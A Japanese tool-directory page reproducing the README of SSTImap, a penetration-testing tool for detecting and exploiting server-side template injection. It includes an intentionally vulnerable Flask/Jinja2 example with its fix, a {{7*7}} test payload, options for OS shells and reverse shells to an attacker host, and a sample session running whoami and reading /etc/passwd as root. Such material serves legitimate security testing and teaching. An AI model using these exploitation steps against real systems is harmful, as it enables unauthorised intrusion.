Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
SSTImap — 対話型インターフェースを備えた自動SSTI検出ツール | Kitploit
ツール/GitHubGitHub/vladko312/sstimap
脆弱性スキャナーペイロード生成コード分析動的コード分析 (DAST)エクスプロイトウェブアプリケーション悪用ファジングペネトレーションテストコマンド&コントロール
GitHubvladko312/sstimap

SSTImap

対話型インターフェースを備えた自動SSTI検出ツール

1.6k1771271ヶ月前Kitploit レビュー済み
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SSTImap

Version 1.4 Python 3.14 Python 3.6 GitHub GitHub last commit Maintenance

このプロジェクトは Tplmap に基づいています。

SSTImap は、Webサイトのコードインジェクションおよびサーバーサイドテンプレートインジェクションの脆弱性を検査し、それを悪用してオペレーティングシステム自体へのアクセスを提供するペネトレーションテストソフトウェアです。

このツールは、SSTIの検出と悪用のための対話型ペネトレーションテストツールとして使用できるように開発されており、より高度な悪用が可能です。SSTImap 用の追加ペイロードは こちら にあります。

ペイロードと技術は以下の情報源から提供されています:

  • James Kettle の [Server-Side Template Injection: RCE For The Modern Web App][5]
  • その他の公開研究 [[1]][1] [[2]][2] [[8]][8]
  • Tplmap への貢献 [[3]][3] [[4]][4]
  • 私自身の研究 [[9]][9]

このツールは、いくつかのコードコンテキストエスケープやブラインドインジェクションシナリオを悪用できます。また、Java、JavaScript、PHP、Python、Ruby および一般的なサンドボックス化されていないテンプレートエンジンにおける eval() に類似したコードインジェクションもサポートしています。

Tplmap との主な違い

このソフトウェアは Tplmap のコードに基づいていますが、後方互換性は提供されていません。

  • SSTIの検出と悪用のための新しい2つの技術を追加
  • 悪用と検出を容易にする対話モード (-i)
  • ペイロード反射時のレスポンスマーカーとしての単純な評価ペイロード
  • 汎用テンプレート用の新しいペイロードを追加。すべてのコンテキストをテストするには --generic を使用
  • Eval_generic モジュールを使用した汎用評価テンプレートインジェクションの検出
  • ベース言語の eval() に類似したシェル (-x) または単一コマンド (-X) の実行
  • ブラインドファイルアップロードが MD5 確認とファイル存在チェックをサポート
  • より多くのテンプレート用の新しいペイロードを追加し、既存の多くのペイロードを更新
  • 追加のプラグインインストールを可能にするモジュラープラグイン構造
  • さまざまな POST データタイプのサポート
  • クローリングとフォーム検出を追加
  • 多くの引数に短縮版を追加
  • 一部の古いコマンドライン引数は変更されました。ヘルプは -h を確認してください
  • コードはより新しい Python 機能を使用するように変更されました
  • Jython が Python3 をサポートしていないため、Burp Suite 拡張機能は一時的に削除されました

サーバーサイドテンプレートインジェクション

これは、Python で [Flask][6] フレームワークと [Jinja2][7] テンプレートエンジンを使用して書かれた単純な Web サイトの例です。ユーザーが指定した変数 name を、レンダリング前にテンプレート文字列に連結するという安全でない方法で統合しています。

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

このテンプレートの使用方法は XSS 脆弱性を生み出すだけでなく、攻撃者がサーバー上で実行されるテンプレートコードを注入することを可能にし、SSTI につながります。

$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

ユーザーが指定した入力は、レンダリングコンテキストを通じて安全な方法で導入されるべきです:

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

既定モード

既定モードの SSTImap は Tplmap と非常に似ています。複数の異なるテンプレートにおける SSTI 脆弱性の検出と悪用が可能です。

悪用後、SSTImap はコード評価、OS コマンド実行、ファイルシステム操作へのアクセスを提供できます。

URL を確認するには、-u 引数を使用できます:

$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

--os-shell オプションを使用して、ターゲット上で擬似ターミナルを起動します。

$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

オプションの完全なリストを取得するには、--help 引数を使用します。

対話モード

対話モードでは、コマンドを使用して SSTImap と対話します。対話モードに入るには、-i 引数を使用できます。悪用ペイロードに関する引数を除くすべての引数は、設定の初期値として使用されます。

一部のコマンドは、テスト実行間で設定を変更するために使用されます。テストを実行するには、ターゲット URL を初期 -u 引数または url コマンドで指定する必要があります。その後、run コマンドを使用して URL の SSTI を確認できます。

ツールをダウンロード